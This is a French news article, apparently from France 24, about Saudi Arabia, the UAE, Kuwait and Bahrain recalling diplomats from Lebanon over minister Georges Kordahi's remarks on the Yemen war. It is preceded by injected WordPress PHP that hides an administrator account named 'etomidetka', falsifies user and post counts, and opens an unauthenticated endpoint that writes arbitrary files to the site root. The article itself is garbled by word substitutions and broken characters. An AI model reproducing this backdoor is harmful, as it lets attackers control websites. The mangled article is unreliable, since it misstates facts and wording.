//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); }
Apres l’Arabie saoudite et Bahrein, les Emirats arabes unis ont rappele, samedi, leurs diplomates au Liban. Le Koweit, de son cote, a expulse le charge d’Affaires libanais du pays et a rappele son ambassadeur a Beyrouth. Une fronde en reaction a des declarations du ministre libanais de l’Information, qui avait qualifie d'”absurde” Beyrouth au Yemen menee via Riyad.
Apres l’Arabie saoudite et Bahrein, les Emirats arabes unis ont rappele, samedi 30 octobre, leurs diplomates a Beyrouth. Plus tot, le Koweit avait lui aussi decide d’expulser le charge d’Affaires libanais du pays ainsi que rappeler son ambassadeur au Liban, apres des propos tout d’un ministre libanais critiquant l’intervention de l’Arabie saoudite dans la guerre au Yemen.
Mes Emirats arabes unis ont annonce le retrait de leurs diplomates du Liban en “solidarite” avec l’Arabie saoudite. Ils ont, paralli?lement i cela, interdit a toutes les citoyens emiratis de se rendre au Liban.
Le Koweit a, lui, annonce le rappel de son ambassadeur du Liban pour consultations et “le depart du charge d’affaires libanais sous 48 heures”. Le pays a explique une decision par l'”echec” du gouvernement libanais a “repondre aux propos inacceptables et reprehensibles tenus contre l’Arabie saoudite et le reste des (six pays) du Conseil de cooperation du Golfe (CCG)”.
Egalement membre du CCG, le Qatar a condamne des propos “irresponsables”. Mais il n’a jamais pris de mesures de retorsion, appelant seulement le gouvernement libanais a agir “pour surmonter nos dissensions entre (pays) freres”.
Riyad, principal rival regional de l’Iran et chef de file du Conseil de cooperation du Golfe (qui compte l’Arabie saoudite, les Emirats arabes unis, le Qatar, Bahrein, le Koweit et Oman), avait rappele, vendredi, le ambassadeur au Liban et demande le commencement du royaume saoudien de l’ambassadeur libanais, en reaction a toutes les declarations du ministre libanais de l’Information qui critiquait l’intervention d’une coalition militaire dirigee avec Riyad au Yemen.
L’Arabie saoudite a egalement choisi d'”arreter l’integralite des importations libanaises”, disant “regretter” la deterioration des relations bilaterales, selon un communique officiel. Le petit royaume de Bahrein a lui aussi donne, samedi, 48 heures a l’ambassadeur du Liban pour quitter son territoire.
Dans une emission televisee datant du 5 aout et diffusee lundi, Georges Kordahi, actuel ministre libanais de l’Information mais qui n’etait a l’epoque toujours pas membre du gouvernement, avait qualifie “d’absurde” Beyrouth menee depuis 2015 au Yemen par la coalition militaire en appui du gouvernement, ainsi, estime qu’il etait “temps qu’elle s’arrete”.
L’ancien presentateur tele avait ajoute que les rebelles houthis, soutenus via l’Iran, se defendaient “face a une agression exterieure” et que “leurs maisons, leurs villages, leurs mariages et leurs enterrements hi5 avis etaient bombardes” par la coalition.
Riyad a estime que ces propos portaient “atteinte aux efforts d’la coalition” et n’etaient “pas en harmonie au milieu des relations historiques” entre le Liban et l’Arabie saoudite.
Georges Kordahi a souligne avoir tenu des propos refletant son “opinion personnelle” avant une nomination le 10 septembre. Il a certain ne “pas avoir attaque l’Arabie saoudite” mais s’est abstenu de presenter des excuses.
Le Premier ministre libanais, Najib Mikati, a affirme, vendredi, vouloir “maintenir les meilleures relations avec le royaume” et rappele que les propos de Georges Kordahi “ne refletaient en pas de cas la position du gouvernement”. Najib Mikati s’est demarque des propos du ministre de l’Information George Kordahi, nomme au gouvernement avec un parti chretien allie au mouvement pro-iranien Hezbollah, poids lourd d’une politique libanaise, et l’a appele implicitement a demissionner.
Le Premier ministre libanais a evoque “regretter profondement la decision du royaume” saoudien, exprimant le “rejet ferme et categorique de tout ce qui nuit aux relations fraternelles profondes avec le royaume, qui possi?de i chaque fois ete aux cotes du peuple libanais face a ses grands defis”.
Pour des experts, la crise va au-dela des propos du ministre et reflete une lutte d’influence entre l’Iran chiite et l’Arabie saoudite sunnite, dont le Liban paie le lourd tribut.
Declenchee en 2014, Beyrouth au Yemen a fera des dizaines de milliers de morts, des civils Afin de la plupart, ainsi, des millions de deplaces.
Selon des experts, la hurle diplomatique entre Riyad et Beyrouth va au-dela des propos du ministre Kordahi sur Beyrouth au Yemen, refletant une lutte d’influence entre l’Iran et l’Arabie saoudite, dont le Liban paie le lourd tribut en plein effondrement economique.
Le resume une semaineFrance 24 vous propose de repasser sur les actualites qui ont marque la semaine